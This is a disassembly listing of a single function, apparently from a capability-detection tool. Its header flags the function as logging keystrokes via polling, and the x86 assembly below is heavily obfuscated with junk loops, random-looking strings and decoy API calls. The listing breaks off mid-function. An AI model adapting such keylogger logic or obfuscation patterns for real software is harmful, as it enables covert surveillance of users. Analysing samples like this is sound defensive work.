Function at 0x10042096
Capabilities:
Accept command line arguments
Log keystrokes via polling
Query environment variable

Disassembly:
mov eax, 0x10062800
call fcn.10060810
sub esp, 0x308
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x20], 0xb0f7
push edi
mov dword [ebp - 0x28], 0xfffffffd
mov dword [ebp - 0x10], esp
mov dword [ebp - 0xd8], edx
mov dword [ebp - 0xa8], ecx
mov dword [ebp - 0x1d4], ebx
mov dword [ebp - 0x34], ebx
jmp 0x100420e4
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0xa0], 0xffffffff
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 3
jl 0x100420d3
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x28], 2
cmp dword [ebp - 0x28], ebx
jl 0x1004232a
mov dword [ebp - 0x38], 0x76270e7a
xor edx, edx
mov dword [ebp - 0x44], 7
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp + eax*4 - 0xa0]
mov eax, dword [ebp - 0x98]
cmp ecx, eax
mov eax, dword [ebp - 0x28]
sete dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0xa0]
cmp edx, eax
mov eax, dword [ebp - 0x28]
setg cl
xor edx, edx
mov eax, dword [ebp + eax*4 - 0xa0]
cmp eax, ecx
mov eax, dword [ebp - 0x28]
setge dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0xa0]
cmp edx, eax
mov eax, dword [ebp - 0x28]
setle cl
mov dword [ebp + eax*4 - 0xa0], ecx
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], 2
jg 0x10042322
movdqa xmm0, xmmword [0x1006f800]
lea eax, [ebp - 0x220]
mov dword [ebp - 0x3c], 5
lea ecx, [ebp - 0xfc]
mov dword [ebp - 0x3c], 0xdc41fd9d
push dword [ebp - 0x3c]
movdqu xmmword [ebp - 0x230], xmm0
push eax
lea eax, [ebp - 0x230]
mov dword [ebp - 0xfc], ebx
push eax
push ebx
mov dword [ebp - 0xf8], ebx
mov dword [ebp - 0xf4], ebx
call fcn.100127e2
push 3
lea ecx, [ebp - 0x170]
mov dword [ebp - 4], ebx
call fcn.1000f280
mov byte [ebp - 4], 1
mov dword [ebp - 0x48], 0x1092
cmp dword [ebp - 0x48], 0x13b8
jle 0x1004223d
mov edi, ebx
mov esi, ebx
mov ecx, ebx
mov dword [ebp - 0x30], ebx
mov eax, esi
sar eax, cl
lea ecx, [ebp - 0x294]
or eax, edi
cdq
push edx
push eax
call fcn.10001acf
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10042207
mov eax, dword [eax]
push eax
call fcn.10049e23
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x294]
call fcn.1000fa8e
mov ecx, dword [ebp - 0x30]
inc ecx
mov dword [ebp - 0x30], ecx
cmp ecx, 0x123f
jl 0x100421e9
inc esi
cmp esi, 0x26e0
jl 0x100421e4
inc edi
cmp edi, 0x7f7f
jl 0x100421e2
cmp dword [ebp - 0x48], 0x107d
jge 0x10042251
push str.pcgluxlk_xmmln_jgeyezpyv_mxfxx_lcsum_qqjfd_yln_roer_amuwx
call fcn.10049e23
pop ecx
mov dword [ebp - 0x18], ebx
jmp 0x10042267
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xb0], 0x927213ec
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10042256
push 3
mov dword [ebp - 0x18], ebx
pop edx
jmp 0x10042284
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x170]
mov dword [eax + ecx*4], edx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x10042275
mov dword [ebp - 0xb0], 2
cmp dword [ebp - 0xb0], ebx
jl 0x100422ac
mov eax, dword [ebp - 0x170]
inc dword [eax + 8]
dec dword [ebp - 0xb0]
jns 0x100422a1
mov eax, dword [ebp - 0x38]
mov ecx, 0x4b693050
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x98]
sub ecx, eax
je 0x100422c7
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
xor ecx, ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0xa0]
test eax, eax
mov eax, dword [ebp - 0xb0]
setne cl
add eax, ecx
cmp eax, 0xffff
sbb eax, eax
xor ecx, ecx
neg eax
cmp eax, 0x70f9
mov eax, dword [ebp - 0x20]
setl cl
mov dword [ebp + eax*4 - 0xa0], ecx
lea ecx, [ebp - 0x170]
call fcn.1000f303
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xfc]
call fcn.1000f303
inc dword [ebp - 0x20]
jmp 0x10042165
dec dword [ebp - 0x28]
jmp 0x100420f7
mov dword [ebp - 0x3c], ebx
lea ecx, [ebp - 0x1ac]
mov dword [ebp - 0x44], ebx
push 2
call fcn.1000f280
xor edx, edx
mov dword [ebp - 4], 4
mov dword [ebp - 0x20], ebx
inc edx
cmp dword [ebp - 0x20], 2
jge 0x10042361
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1ac]
mov dword [eax + ecx*4], edx
inc dword [ebp - 0x20]
jmp 0x1004234a
mov dword [ebp - 0x38], 5
mov dword [ebp - 0x20], 0x98dc509c
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
je 0x100423a5
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x44], edx
cmp dword [ebp - 0x44], 0x8482
jg 0x10042390
mov ecx, ebx
cmp dword [ebp - 0x20], ebx
je 0x10042392
mov ecx, edx
xor eax, eax
cmp ecx, 0x72585faf
setge al
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jne 0x100423a7
mov edx, ebx
mov eax, dword [ebp - 0x38]
imul eax, edx
test eax, eax
je 0x100424a5
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x100423ca
push ebx
push 0x26cc
call dword [sym.imp.USER32.dll_EnableWindow]
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x100424e0
mov dword [ebp - 0x44], 0x2c43
cmp dword [ebp - 0x44], 0x2cbb
jle 0x10042487
push ebx
push 0x13f4
push 0x1a94
push 0xea9
push 0x1013
call dword [sym.imp.GDI32.dll_CreateBitmap]
mov edi, ebx
mov dword [ebp - 0x38], ebx
mov esi, ebx
mov dword [ebp - 0x48], ebx
mov eax, edi
mov dword [ebp - 0x2c], ebx
cdq
idiv esi
mov esi, ebx
mov ecx, edx
mov dword [ebp - 0x30], ecx
mov edi, ebx
mov eax, edi
and eax, esi
xor eax, ecx
lea ecx, [ebp - 0x2ac]
cdq
push edx
push eax
call fcn.10001acf
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1004243f
mov eax, dword [eax]
push eax
call fcn.10049e23
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x2ac]
call fcn.1000fa8e
mov ecx, dword [ebp - 0x30]
inc edi
cmp edi, 0xa8c
jl 0x10042421
inc esi
cmp esi, 0x75ad
jl 0x1004241f
mov esi, dword [ebp - 0x48]
mov edi, dword [ebp - 0x38]
inc esi
mov dword [ebp - 0x48], esi
cmp esi, 0x39d0
jl 0x10042410
inc edi
mov dword [ebp - 0x38], edi
cmp edi, 0x1770
jl 0x1004240b
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadCursorA]
cmp dword [ebp - 0x44], 0x2ada
jge 0x100424e0
push str.havlotx_ouzyop_vjmxx_reu
call fcn.10049e23
pop ecx
jmp 0x100424e0
mov dword [ebp - 0x20], ebx
jmp 0x100424bb
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x274], 0xc8400b8f
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x100424aa
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x100424d1
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov eax, dword [ebp - 0x1ac]
mov eax, dword [eax + 4]
mov dword [ebp - 0x268], eax
mov dword [ebp - 0x44], ebx
lea ecx, [ebp - 0x1ac]
or dword [ebp - 4], 0xffffffff
call fcn.1000f303
push 0x5c
pop eax
mov dword [ebp - 0x88], 0x30057306
mov dword [ebp - 0x84], 0xd030302
mov dword [ebp - 0x80], 0x26000304
mov dword [ebp - 0x7c], 0xf8032b01
mov word [ebp - 0x78], 0xdefc
mov word [ebp - 0x14c], ax
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x20], ebx
jmp 0x1004254f
mov dword [ebp - 0x2c], 2
cmp dword [ebp - 0x2c], ebx
jne 0x10042555
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x1004254c
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 5
jne 0x10042530
push 2
pop esi
mov edi, ebx
mov dword [ebp - 0x18], 0xe83c773
mov dword [ebp - 0x20], ebx
jmp 0x10042577
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x24c], 0xffffffff
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x10042566
mov dword [ebp - 0x18], 2
cmp dword [ebp - 0x18], ebx
jl 0x1004259c
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x24c], 0x2bb11acc
dec dword [ebp - 0x18]
jns 0x10042589
mov dword [ebp - 0x18], 0xffffffea
jmp 0x100425c9
mov dword [ebp - 0x2c], 0xfff8
cmp dword [ebp - 0x2c], ebx
jne 0x100425cf
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x100425c6
push ebx
push 0x8a2
call dword [sym.imp.GDI32.dll_GetWindowOrgEx]
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x100425a5
cmp esi, 0xe
jne 0x100425dc
push 4
pop edi
push 0x10
pop esi
jmp 0x10042612
movzx edx, byte [ebp + esi - 0x87]
mov eax, esi
sub eax, edi
mov edi, ebx
movzx eax, byte [ebp + eax - 0x8a]
movzx eax, word [ebp + eax*2 - 0x158]
mov ecx, eax
and eax, edx
or ecx, edx
sub ecx, eax
movzx eax, byte [ebp + esi - 0x88]
mov word [ebp + eax*2 - 0x158], cx
add esi, 2
cmp esi, 0x12
jb 0x1004255a
mov dword [ebp - 0x28], 0x68ec0ae9
lea ecx, [ebp - 0x94]
push 3
call fcn.1000f280
mov dword [ebp - 0x30], 0x35f19716
mov dword [ebp - 0x40], 0x5c6a81d6
mov dword [ebp - 0x20], ebx
jmp 0x10042658
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x94]
mov dword [eax + ecx*4], 0x386c
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x10042645
mov dword [ebp - 0x28], ebx
jmp 0x10042689
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x10042686
push ebx
push ebx
push 0x1bad
push ebx
push 0xbc7
push ebx
push 0xb5
push ebx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x13
je 0x10042663
push 2
pop esi
mov dword [ebp - 0x28], esi
cmp dword [ebp - 0x28], ebx
jl 0x100427d9
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], 3
mov dword [ebp - 0x30], 0x629c4ddb
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x20], ebx
jmp 0x100426d5
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x264], 0xca4f0670
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x100426c4
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x94]
mov eax, dword [eax + ecx*4]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], ebx
je 0x10042702
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x94]
cmp dword [eax + ecx*4], ebx
je 0x10042702
xor edi, edi
inc edi
jmp 0x10042704
mov edi, ebx
mov dword [ebp - 0x30], 0x273d5943
xor edx, edx
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x94]
cmp dword [eax + ecx*4], 1
mov eax, dword [ebp - 0x28]
setg dl
xor ecx, ecx
cmp edx, eax
setl cl
imul eax, ecx, 0xfff7
test eax, eax
jne 0x1004273a
cmp dword [ebp - 0x30], ebx
jne 0x1004273a
mov eax, ebx
jmp 0x1004273d
xor eax, eax
inc eax
mov ecx, dword [ebp - 0x2c]
xor edx, edx
mov esi, dword [ebp - 0x28]
cmp eax, dword [ecx + 4]
mov eax, dword [ebp - 0x94]
setl dl
xor ecx, ecx
cmp edx, dword [eax + esi*4]
setl cl
mov dword [ebp - 0x30], ecx
cmp dword [ebp - 0x30], ebx
je 0x1004276b
cmp dword [ebp - 0x28], ebx
je 0x1004276b
xor esi, esi
inc esi
jmp 0x1004276d
mov esi, ebx
mov eax, dword [ebp - 0x28]
xor edx, edx
mov ecx, dword [ebp - 0x94]
cmp dword [ecx + eax*4], esi
setle dl
add edx, dword [ecx]
mov dword [ebp - 0x260], edx
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x94]
mov eax, dword [eax + ecx*4]
imul eax, edx
mov dword [ebp - 0x30], eax
mov edx, dword [ebp - 0x28]
mov esi, dword [ebp - 0x28]
mov eax, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x30]
imul ecx, dword [eax + edx*4]
xor edx, edx
mov eax, dword [ebp - 0x94]
cmp dword [eax + esi*4], ecx
setg dl
xor eax, eax
cmp edi, edx
setle al
mov dword [ebp - 0x30], eax
imul eax, dword [ebp - 0x30], 0xffff
mov dword [ebp - 0x40], eax
dec dword [ebp - 0x28]
jns 0x100426a7
push 2
pop esi
lea ecx, [ebp - 0x94]
call fcn.1000f303
xor eax, eax
lea ecx, [ebp - 0x188]
mov word [ebp - 0x14a], ax
mov dword [ebp - 0x18], 0x5c68ec0a
push esi
call fcn.1000f280
mov dword [ebp - 4], 9
mov dword [ebp - 0x18], ebx
jmp 0x1004281d
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x2d0], 0x4bcd76ce
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1004280c
mov dword [ebp - 0x18], ebx
jmp 0x1004283b
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x188]
mov dword [eax + ecx*4], 0x76ee
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x10042828
mov dword [ebp - 0x18], 0xffffffef
cmp dword [ebp - 0x18], 0xfffffff5
jl 0x10042999
push dword [ebp - 0x3c]
movdqa xmm0, xmmword [0x1006f840]
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x220]
mov dword [ebp - 0x120], ebx
push eax
push ebx
lea ecx, [ebp - 0x120]
mov dword [ebp - 0x11c], ebx
movdqu xmmword [ebp - 0x220], xmm0
mov dword [ebp - 0x118], ebx
call fcn.100127e2
mov byte [ebp - 4], 0xa
mov dword [ebp - 0x20], 6
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], 3
jg 0x10042982
mov dword [ebp - 0x3c], 0x72276b87
mov dword [ebp - 0x44], 0x372c
cmp dword [ebp - 0x44], 0x3a1b
jle 0x10042920
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov edi, ebx
mov eax, edi
mov dword [ebp - 0x38], 0x7973
mov dword [ebp - 0x24], eax
mov esi, ebx
mov ecx, ebx
mov dword [ebp - 0x48], 0x20cb
mov dword [ebp - 0x30], ecx
or eax, ecx
mov ecx, 0x1007d358
cdq
push edx
push eax
call fcn.1000ef91
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x24]
add ecx, esi
dec dword [ebp - 0x48]
mov dword [ebp - 0x30], ecx
jne 0x100428e3
inc esi
cmp esi, 0x2e8f
jl 0x100428d7
dec eax
dec dword [ebp - 0x38]
mov dword [ebp - 0x24], eax
jne 0x100428d5
inc edi
cmp edi, 0x7a87
jl 0x100428c9
push 2
pop esi
mov dword [ebp - 0x3c], 0x66941fc9
mov byte [ebp - 4], 0xb
cmp dword [ebp - 0x44], 0x3500
jge 0x10042964
mov edx, str.eqaha_zhra_fkcsbgrdz_bttnxhj
mov ecx, 0x1007d358
call fcn.10011e0c
jmp 0x10042964
mov dword [ebp - 4], 0xa
mov eax, dword [ebp - 0x188]
mov dword [ebp - 0x3c], 0xf2d3f504
inc dword [eax]
inc dword [ebp - 0x20]
jmp 0x1004289e
lea ecx, [ebp - 0x120]
mov byte [ebp - 4], 9
call fcn.1000f303
inc dword [ebp - 0x18]
jmp 0x10042847
mov dword [ebp - 0x18], 0xfffffffd
jmp 0x10042a29
push dword [ebp - 0x3c]
movdqa xmm0, xmmword [0x1006f850]
lea eax, [ebp - 0x230]
push eax
lea eax, [ebp - 0x240]
mov dword [ebp - 0xd4], ebx
push eax
push ebx
lea ecx, [ebp - 0xd4]
mov dword [ebp - 0xd0], ebx
movdqu xmmword [ebp - 0x240], xmm0
mov dword [ebp - 0xcc], ebx
call fcn.100127e2
mov ecx, dword [ebp - 0xd4]
mov dword [ebp - 0x2c], 0x9b7d6b59
mov dword [ebp - 0x40], 0x7c7128ab
mov dword [ecx + 8], 1
mov dword [ebp - 0x30], 1
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
dec dword [ecx + 8]
mov dword [ebp - 0x40], 0x9a275ff4
jns 0x100429ff
lea ecx, [ebp - 0xd4]
call fcn.1000f303
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffee
jle 0x100429a5
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x188]
call fcn.1000f303
xor eax, eax
mov dword [ebp - 0x1bc], 7
mov word [ebp - 0x1d0], ax
lea ecx, [ebp - 0x1d0]
lea eax, [ebp - 0x158]
mov dword [ebp - 0x1c0], ebx
push eax
call fcn.1001e8ae
mov dword [ebp - 4], 0xd
lea ecx, [ebp - 0x114]
mov dword [ebp - 0x18], 0xca4f833f
mov dword [ebp - 0x34], 0xcac31e13
push 1
call fcn.1000f280
mov byte [ebp - 4], 0xe
mov eax, 0xc0717824
mov dword [ebp - 0x28], 0xdffc5a25
mov dword [ebp - 0x20], 0xfffffff9
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x144], eax
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x13c], eax
mov dword [ebp - 0x2c], 0xd50170a2
mov dword [ebp - 0x18], ebx
jmp 0x10042adb
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x258], 0xfffffff8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x10042aca
xor edx, edx
mov dword [ebp - 0x18], ebx
inc edx
jmp 0x10042afc
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x114]
mov dword [eax + ecx*4], 0x9a488d5
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x10042ae9
mov dword [ebp - 0x18], esi
cmp dword [ebp - 0x18], ebx
jl 0x10042c2e
jmp 0x10042b12
xor edx, edx
inc edx
mov dword [ebp - 0x30], 0x10e164ca
lea ecx, [ebp - 0x164]
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x48], edx
push 3
call fcn.1000f280
mov dword [ebp - 0x38], 0x786ae2ad
xor edx, edx
mov dword [ebp - 0x54], 0x4681
inc edx
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x34], ebx
jmp 0x10042b5b
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x164]
mov dword [eax + ecx*4], 0x3132d68
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 3
jl 0x10042b48
mov eax, dword [ebp - 0x38]
inc dword [ebp - 0x38]
test eax, eax
je 0x10042b83
mov eax, dword [ebp - 0x48]
xor ecx, ecx
cmp eax, 0x702c
setne cl
add ecx, 0x97de
mov dword [ebp - 0x2c], ecx
jne 0x10042b85
mov edx, ebx
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x34]
add eax, 0xe283
je 0x10042b95
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x44]
sub ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov ecx, dword [ebp - 0x164]
mov eax, dword [ebp - 0x114]
setl dl
mov dword [ecx + 4], edx
mov dword [eax], edx
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0x20]
jle 0x10042bc9
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x18]
cmp dword [ecx + 4], ebx
je 0x10042be6
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x114]
cmp dword [eax], ebx
je 0x10042bf6
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x258], ecx
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x148]
mov ecx, dword [ebp - 0x18]
sub ecx, eax
mov dword [ebp - 0x2c], ecx
lea ecx, [ebp - 0x164]
call fcn.1000f303
dec dword [ebp - 0x18]
jns 0x10042b0f
mov dword [ebp - 0x34], ebx
jmp 0x10042cd3
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x2c], 0x9d45aa77
mov dword [ebp - 0x28], ebx
jmp 0x10042c6b
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x10042c5c
push ebx
push ebx
push ebx
push 0x3ce
call dword [sym.imp.GDI32.dll_CreateEnhMetaFileW]
mov eax, dword [ebp - 0x34]
cmp dword [ebp + eax*4 - 0x148], ebx
jne 0x10042c71
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 3
jle 0x10042c45
mov dword [ebp - 0x20], ebx
jmp 0x10042cca
inc dword [ebp - 0x30]
mov dword [ebp - 0x28], ebx
jmp 0x10042cc1
push esi
lea ecx, [ebp - 0x194]
call fcn.1000f280
mov dword [ebp - 0x18], ebx
jmp 0x10042ca2
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x194]
mov dword [eax + ecx*4], 0x7fbc
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x10042c8f
mov eax, dword [ebp - 0x194]
lea ecx, [ebp - 0x194]
mov eax, dword [eax + 4]
mov dword [ebp - 0x2c], eax
call fcn.1000f303
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 3
jle 0x10042c7e
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jle 0x10042c76
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 3
jle 0x10042c36
lea ecx, [ebp - 0x114]
mov byte [ebp - 4], 0xd
call fcn.1000f303
xor eax, eax
lea edi, [ebp - 0x158]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x3c], 0xb4e1a362
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x10042d18
push 0x406
push 0x795
call dword [sym.imp.KERNEL32.dll_Beep]
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x10042d2e
push ebx
push ebx
push 0xef4
call dword [sym.imp.GDI32.dll_PlayEnhMetaFile]
push dword [ebp - 0xd8]
lea ecx, [ebp - 0x210]
call fcn.1000f0a6
mov byte [ebp - 4], 0xf
xor eax, eax
mov dword [ebp - 0x28], 0x1928c176
inc eax
mov dword [ebp - 0x44], 0x230b63e9
mov dword [ebp - 0x38], 0xfffffff7
mov dword [ebp - 0x3c], 0x807c1abd
mov dword [ebp - 0x38], 0x8491f199
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x28], 0x12
cmp dword [ebp - 0x28], 0xd
jg 0x10042fc3
push 4
pop edi
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x4c], 0xffffffff
mov dword [ebp - 0xe4], 0xfffffff7
mov dword [ebp - 0x3c], 0x6f62939
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x30], 0xcc0c7fd5
mov dword [ebp - 0x54], 6
mov dword [ebp - 0x48], 0x3bc6c2db
mov dword [ebp - 0x40], 0x32ba
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], ebx
jle 0x10042fb6
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x20], 0x2d8c20e5
mov dword [ebp - 0x18], 0x75d7
mov dword [ebp - 0x20], ebx
jmp 0x10042df7
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xbc], 6
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x10042de6
cmp dword [ebp - 0x28], ebx
jne 0x10042e86
cmp dword [ebp - 0x34], ebx
jne 0x10042e36
inc dword [ebp - 0x30]
je 0x10042e13
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x54]
xor edx, edx
mov eax, dword [ebp - 0x44]
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
setg dl
add eax, 0xa9d707d8
add eax, edx
imul eax, dword [ebp - 0x4c]
test eax, eax
jne 0x10042e36
mov eax, ebx
jmp 0x10042e39
xor eax, eax
inc eax
xor edx, edx
cmp eax, 0x657a772b
setne dl
xor ecx, ecx
sub edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0xb8]
add edx, 0x7b249e3c
cmp edx, eax
setl cl
xor eax, eax
cmp ecx, 1
setge al
xor edx, edx
cmp eax, 0x2235
mov eax, dword [ebp - 0x54]
setl dl
xor ecx, ecx
cmp edx, eax
setle cl
cmp ecx, dword [ebp - 0xb8]
jle 0x10042e80
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0xe4]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x5c]
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0xbc], eax
neg eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], ebx
je 0x10042ec2
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x38], eax
jmp 0x10042fa7
push edi
lea ecx, [ebp - 0x1a0]
call fcn.1000f280
mov dword [ebp - 0x18], 0xfffffffd
mov dword [ebp - 0x18], ebx
jmp 0x10042eed
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1a0]
mov dword [eax + ecx*4], 1
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x10042eda
mov dword [ebp - 0x18], ebx
jmp 0x10042f08
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xe0], 1
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x10042ef7
mov dword [ebp - 0xe0], 0xffffffff
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0x20]
jne 0x10042f43
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x18], 0xe3c4
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0xb8], eax
mov eax, dword [ebp - 0x30]
add eax, 0x17fa
jne 0x10042f74
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp - 0x38]
xor ecx, ecx
mov eax, dword [ebp - 0x2c]
imul eax, dword [ebp - 0x3c], 0x30fd
cmp eax, 0x61d2e80b
mov eax, dword [ebp - 0x1a0]
setl cl
sub ecx, dword [eax + 0xc]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x38], ecx
lea ecx, [ebp - 0x1a0]
call fcn.1000f303
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jg 0x10042dcc
xor eax, eax
inc eax
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xd
jle 0x10042d83
mov dword [ebp - 0x34], 0xb871
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x24], ebx
jmp 0x10042fea
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x1e0], 0x1d6b3bfa
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jl 0x10042fd9
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x34], ebx
cmp dword [ebp - 0x34], 0x37
je 0x1004308d
push esi
